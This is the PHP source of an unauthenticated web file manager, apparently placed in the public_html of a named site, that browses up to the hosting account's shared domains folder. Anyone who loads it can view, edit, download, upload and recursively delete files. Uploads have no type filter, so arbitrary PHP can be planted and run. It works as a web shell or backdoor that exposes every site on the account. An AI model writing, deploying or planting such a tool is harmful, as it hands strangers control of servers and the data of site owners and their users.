a<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

/*
Assumed structure:
.../domains/sunrisehelp.org/public_html   <- this file stays here
Root we want to browse up to:
.../domains
*/

$base_dir = realpath(__DIR__);                  // public_html
$root_anchor = realpath(__DIR__ . '/../../');  // domains
if ($root_anchor === false) {
    $root_anchor = $base_dir;
}

$default_rel = trim(str_replace($root_anchor, '', $base_dir), DIRECTORY_SEPARATOR);

function flash($msg = null) {
    if ($msg !== null) {
        $_SESSION['flash'] = $msg;
        return;
    }
    if (!empty($_SESSION['flash'])) {
        $m = $_SESSION['flash'];
        unset($_SESSION['flash']);
        return $m;
    }
    return '';
}

function sanitize_relative_path($path) {
    $path = str_replace("\0", '', (string)$path);
    $path = str_replace('\\', '/', $path);
    $parts = explode('/', $path);
    $clean = [];

    foreach ($parts as $part) {
        $part = trim($part);
        if ($part === '' || $part === '.' || $part === '..') {
            continue;
        }
        $part = preg_replace('/[\x00-\x1F\x7F]/u', '', $part);
        if ($part !== '') {
            $clean[] = $part;
        }
    }

    return implode('/', $clean);
}

function sanitize_name($name) {
    $name = str_replace("\0", '', (string)$name);
    $name = basename($name);
    $name = preg_replace('/[\x00-\x1F\x7F]/u', '', $name);
    return trim($name);
}

function safe_realpath_within($path, $allowed_root) {
    $rp = realpath($path);
    if ($rp === false) return false;

    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    return (strpos($rp . DIRECTORY_SEPARATOR, $root) === 0) ? $rp : false;
}

function get_file_list($dir) {
    $files = [];
    if (!is_dir($dir)) return $files;

    foreach (scandir($dir) as $item) {
        if ($item === '.' || $item === '..') continue;

        $full = $dir . DIRECTORY_SEPARATOR . $item;
        $files[] = [
            'name'     => $item,
            'path'     => $full,
            'size'     => is_file($full) ? @filesize($full) : 0,
            'type'     => is_dir($full) ? 'directory' : 'file',
            'modified' => @filemtime($full) ? date('Y-m-d H:i:s', filemtime($full)) : '-'
        ];
    }

    usort($files, function($a, $b) {
        if ($a['type'] !== $b['type']) {
            return ($a['type'] === 'directory') ? -1 : 1;
        }
        return strcasecmp($a['name'], $b['name']);
    });

    return $files;
}

function format_size($bytes) {
    $bytes = (float)$bytes;
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576)    return number_format($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024)       return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' bytes';
}

function rrmdir($dir) {
    if (!is_dir($dir)) return false;

    $items = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );

    foreach ($items as $item) {
        if ($item->isDir()) {
            @rmdir($item->getRealPath());
        } else {
            @unlink($item->getRealPath());
        }
    }
    return @rmdir($dir);
}

/*
Rule:
- no dir param     => default = public_html
- ?dir=            => root = domains
*/
if (!isset($_GET['dir'])) {
    $requested_dir = $default_rel;
} else {
    $requested_dir = sanitize_relative_path($_GET['dir']);
}

$current_dir = safe_realpath_within(
    $root_anchor . DIRECTORY_SEPARATOR . $requested_dir,
    $root_anchor
);

if ($current_dir === false) {
    $current_dir = $root_anchor;
    $requested_dir = '';
}

$relative_current = trim(str_replace($root_anchor, '', $current_dir), DIRECTORY_SEPARATOR);
$parent_dir = '';
if ($relative_current !== '') {
    $parent_dir = dirname($relative_current);
    if ($parent_dir === '.') $parent_dir = '';
}
$is_at_root = ($relative_current === '');

$action = $_GET['action'] ?? 'list';

switch ($action) {
    case 'view':
        $file = sanitize_name($_GET['file'] ?? '');
        $path = $current_dir . DIRECTORY_SEPARATOR . $file;
        $safe = safe_realpath_within($path, $root_anchor);

        if ($safe && is_file($safe)) {
            header('Content-Type: text/plain; charset=utf-8');
            readfile($safe);
            exit;
        }
        flash('File not found.');
        header('Location: ?dir=' . urlencode($relative_current));
        exit;

    case 'edit':
        $file = sanitize_name($_GET['file'] ?? '');
        $path = $current_dir . DIRECTORY_SEPARATOR . $file;
        $safe = safe_realpath_within($path, $root_anchor);

        if (!$safe || !is_file($safe)) {
            flash('Invalid file.');
            header('Location: ?dir=' . urlencode($relative_current));
            exit;
        }

        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $content = $_POST['content'] ?? '';
            if (@file_put_contents($safe, $content) !== false) {
                flash('File saved successfully.');
            } else {
                flash('Failed to save file.');
            }
            header('Location: ?dir=' . urlencode($relative_current));
            exit;
        }

        $content = htmlspecialchars((string)@file_get_contents($safe), ENT_QUOTES, 'UTF-8');
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <meta charset="utf-8">
            <title>Edit File</title>
            <style>
                body{font-family:Arial;background:#f4f4f4;padding:20px;}
                .wrap{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;}
                textarea{width:100%;height:500px;font-family:monospace;font-size:14px;}
                .btn{background:#007bff;color:#fff;padding:8px 12px;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;}
                .btn2{background:#6c757d;}
            </style>
        </head>
        <body>
            <div class="wrap">
                <h2>Edit: <?= htmlspecialchars($file, ENT_QUOTES, 'UTF-8') ?></h2>
                <form method="post">
                    <textarea name="content"><?= $content ?></textarea><br><br>
                    <button class="btn" type="submit">Save</button>
                    <a class="btn btn2" href="?dir=<?= urlencode($relative_current) ?>">Back</a>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;

    case 'delete':
        $file = sanitize_name($_GET['file'] ?? '');
        $path = $current_dir . DIRECTORY_SEPARATOR . $file;
        $safe = safe_realpath_within($path, $root_anchor);

        if (!$safe) {
            flash('Invalid path.');
            header('Location: ?dir=' . urlencode($relative_current));
            exit;
        }

        if (is_dir($safe)) {
            if (rrmdir($safe)) {
                flash('Folder deleted.');
            } else {
                flash('Failed to delete folder.');
            }
        } elseif (is_file($safe)) {
            if (@unlink($safe)) {
                flash('File deleted.');
            } else {
                flash('Failed to delete file.');
            }
        }

        header('Location: ?dir=' . urlencode($relative_current));
        exit;

    case 'upload':
        if (!empty($_FILES['file'])) {
            $f = $_FILES['file'];

            if ($f['error'] !== UPLOAD_ERR_OK) {
                flash('Upload failed. Error code: ' . $f['error']);
                header('Location: ?dir=' . urlencode($relative_current));
                exit;
            }

            if (!is_dir($current_dir) || !is_writable($current_dir)) {
                @chmod($current_dir, 0777);
            }

            $name = sanitize_name($f['name']);
            if ($name === '') {
                flash('Invalid filename.');
                header('Location: ?dir=' . urlencode($relative_current));
                exit;
            }

            $dest = $current_dir . DIRECTORY_SEPARATOR . $name;

            if (@move_uploaded_file($f['tmp_name'], $dest)) {
                @chmod($dest, 0644);
                flash('File uploaded successfully.');
            } else {
                flash('move_uploaded_file failed.');
            }
        }

        header('Location: ?dir=' . urlencode($relative_current));
        exit;

    case 'create_folder':
        $folder = sanitize_name($_POST['folder_name'] ?? '');
        if ($folder !== '') {
            $path = $current_dir . DIRECTORY_SEPARATOR . $folder;

            if (!file_exists($path)) {
                if (@mkdir($path, 0777, true)) {
                    flash('Folder created.');
                } else {
                    flash('Failed to create folder.');
                }
            } else {
                flash('Folder already exists.');
            }
        } else {
            flash('Folder name required.');
        }

        header('Location: ?dir=' . urlencode($relative_current));
        exit;

    case 'download':
        $file = sanitize_name($_GET['file'] ?? '');
        $path = $current_dir . DIRECTORY_SEPARATOR . $file;
        $safe = safe_realpath_within($path, $root_anchor);

        if ($safe && is_file($safe)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($safe) . '"');
            header('Content-Length: ' . filesize($safe));
            header('Pragma: public');
            header('Cache-Control: must-revalidate');
            readfile($safe);
            exit;
        }

        flash('File not found.');
        header('Location: ?dir=' . urlencode($relative_current));
        exit;
}

$files = get_file_list($current_dir);
$msg = flash();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager</title>
<style>
body{font-family:Arial;background:#f4f4f4;padding:20px;}
.container{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;}
.btn{background:#007bff;color:#fff;padding:6px 10px;border-radius:5px;text-decoration:none;border:none;cursor:pointer;display:inline-block;}
.btn:hover{opacity:.9;}
.btn.red{background:#dc3545;}
.btn.gray{background:#6c757d;}
.btn.disabled{background:#999;pointer-events:none;opacity:.7;}
.table{width:100%;border-collapse:collapse;}
th,td{padding:10px;border-bottom:1px solid #ddd;text-align:left;}
th{background:#007bff;color:#fff;}
.pathbox{background:#f7f7f7;padding:8px;border-radius:6px;border:1px solid #ddd;line-height:1.6;}
.alert{background:#eaf7ea;color:#1d6b1d;padding:10px;border-radius:6px;margin-bottom:15px;border:1px solid #bfe3bf;}
input[type="text"]{padding:8px;min-width:250px;}
</style>
</head>
<body>
<div class="container">

<h2>File Manager</h2>

<?php if ($msg): ?>
    <div class="alert"><?= htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') ?></div>
<?php endif; ?>

<div class="pathbox">
    <b>Root:</b> <?= htmlspecialchars($root_anchor, ENT_QUOTES, 'UTF-8') ?><br>
    <b>Current:</b> <?= htmlspecialchars($current_dir, ENT_QUOTES, 'UTF-8') ?>
</div>

<br>

<?php if (!$is_at_root): ?>
    <a class="btn gray" href="?dir=<?= urlencode($parent_dir) ?>">Back</a>
<?php else: ?>
    <span class="btn disabled">Back</span>
<?php endif; ?>

<a class="btn" href="?">Default (public_html)</a>
<a class="btn" href="?dir=">Root (domains)</a>

<br><br>

<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($relative_current) ?>">
    <input type="file" name="file" required>
    <button class="btn" type="submit">Upload</button>
</form>

<br>

<form method="post" action="?action=create_folder&dir=<?= urlencode($relative_current) ?>">
    <input type="text" name="folder_name" placeholder="Folder name" required>
    <button class="btn" type="submit">Create Folder</button>
</form>

<br><br>

<table class="table">
<tr>
    <th>Name</th>
    <th>Type</th>
    <th>Size</th>
    <th>Modified</th>
    <th>Actions</th>
</tr>

<?php if (empty($files)): ?>
<tr>
    <td colspan="5">No files found.</td>
</tr>
<?php else: ?>
    <?php foreach ($files as $f): ?>
    <tr>
        <td><?= htmlspecialchars($f['name'], ENT_QUOTES, 'UTF-8') ?></td>
        <td><?= htmlspecialchars($f['type'], ENT_QUOTES, 'UTF-8') ?></td>
        <td><?= $f['type'] === 'file' ? format_size($f['size']) : '-' ?></td>
        <td><?= htmlspecialchars($f['modified'], ENT_QUOTES, 'UTF-8') ?></td>
        <td>
            <?php if ($f['type'] === 'directory'):
                $next = ($relative_current ? $relative_current . '/' : '') . $f['name'];
            ?>
                <a class="btn" href="?dir=<?= urlencode($next) ?>">Open</a>
            <?php else: ?>
                <a class="btn" href="?action=view&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">View</a>
                <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">Edit</a>
                <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">Download</a>
            <?php endif; ?>

            <a class="btn red" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>" onclick="return confirm('Delete this item?')">Delete</a>
        </td>
    </tr>
    <?php endforeach; ?>
<?php endif; ?>
</table>

</div>
</body>
</html>